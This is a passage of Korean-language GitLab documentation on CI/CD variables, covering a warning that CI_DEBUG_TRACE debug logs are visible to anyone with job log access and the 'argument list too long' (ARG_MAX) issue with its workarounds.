GitLab UI에서 설정되는 CI/CD 변수도 동일합니다.

만약 CI_DEBUG_TRACE를 로컬 변수로 runner에 추가하면, 디버그 로그가 생성되고 작업 로그에 접근할 수 있는 모든 사용자에게 표시됩니다. Runner에서 권한 수준을 확인하지 않으므로 해당 변수는 GitLab 자체에서만 사용해야 합니다.

알려진 문제 및 해결 방법

다음은 CI/CD 변수와 관련된 알려진 문제 및 가능한 경우에는 알려진 해결 방법입니다.

“argument list too long”

이 문제는 작업이 실행되는 셸이 부과하는 제한을 초과하여 작업에 지정된 모든 CI/CD 변수의 결합된 길이가 제한을 초과할 때 발생합니다. 이에는 사전 정의된 변수 및 사용자 정의 변수의 이름 및 값이 포함됩니다. 이 제한은 일반적으로 ARG_MAX로 지칭되며, 셸 및 운영 체제에 따라 다릅니다. 또한 단일 파일 유형 변수의 내용이 ARG_MAX를 초과할 때도 이 문제가 발생합니다.

자세한 정보는 issue 392406를 참조하십시오.

해결책으로 다음을 시도할 수 있습니다:

가능한 경우 대규모 환경 변수에 대해 파일 유형 CI/CD 변수를 사용합니다.
단일 대규모 변수가 ARG_MAX보다 큰 경우, 보안 파일을 사용하거나 다른 메커니즘을 통해 파일을 작업으로 가져옵니다.

GitLab CI/CD 변수

사전 정의된 CI/CD 변수

`.gitlab-ci.yml` 파일에서 CI/CD 변수 정의

단일 작업에서 전역 변수 건너뛰기

UI에서 CI/CD 변수 정의

프로젝트의 경우

그룹의 경우

환경 범위

인스턴스의 경우

CI/CD 변수 보안

CI/CD 변수 마스킹

CI/CD 변수 보호

파일 유형 CI/CD 변수 사용

`.gitlab-ci.yml` 변수를 파일 유형 변수로 사용하기

작업 스크립트에서 CI/CD 변수 사용하기

Bash, `sh` 및 유사한 쉘에서

PowerShell에서

Windows Batch에서

서비스 컨테이너에서

다른 작업에 환경 변수 전달하기

`dotenv` 변수를 수신하는 작업 제어하기

`script` 섹션에서 다른 섹션으로 환경 변수 전달하기

하나의 변수에 여러 값을 저장

다른 변수에서 CI/CD 변수 사용

CI/CD 변수에서 `$` 문자 사용

CI/CD 변수의 확장 방지

CI/CD 변수 우선 순위

정의된 CI/CD 변수 덮어쓰기

변수 덮어쓰기 권한 제한

변수 내보내기

관련 주제

문제 해결

모든 변수 나열

디버그 로그 사용

디버그 로깅 접근

알려진 문제 및 해결 방법

“argument list too long”

도움말

기능 사용 가능성과 제품 평가판

도움받기

GitLab CI/CD 변수

사전 정의된 CI/CD 변수

.gitlab-ci.yml 파일에서 CI/CD 변수 정의

단일 작업에서 전역 변수 건너뛰기

UI에서 CI/CD 변수 정의

프로젝트의 경우

그룹의 경우

환경 범위

인스턴스의 경우

CI/CD 변수 보안

CI/CD 변수 마스킹

CI/CD 변수 보호

파일 유형 CI/CD 변수 사용

.gitlab-ci.yml 변수를 파일 유형 변수로 사용하기

작업 스크립트에서 CI/CD 변수 사용하기

Bash, sh 및 유사한 쉘에서

PowerShell에서

Windows Batch에서

서비스 컨테이너에서

다른 작업에 환경 변수 전달하기

dotenv 변수를 수신하는 작업 제어하기

script 섹션에서 다른 섹션으로 환경 변수 전달하기

하나의 변수에 여러 값을 저장

다른 변수에서 CI/CD 변수 사용

CI/CD 변수에서 $ 문자 사용

CI/CD 변수의 확장 방지

CI/CD 변수 우선 순위

정의된 CI/CD 변수 덮어쓰기

변수 덮어쓰기 권한 제한

변수 내보내기

관련 주제

문제 해결

모든 변수 나열

디버그 로그 사용

디버그 로깅 접근

알려진 문제 및 해결 방법

“argument list too long”

도움말

기능 사용 가능성과 제품 평가판

도움받기

`.gitlab-ci.yml` 파일에서 CI/CD 변수 정의

`.gitlab-ci.yml` 변수를 파일 유형 변수로 사용하기

Bash, `sh` 및 유사한 쉘에서

`dotenv` 변수를 수신하는 작업 제어하기

`script` 섹션에서 다른 섹션으로 환경 변수 전달하기

CI/CD 변수에서 `$` 문자 사용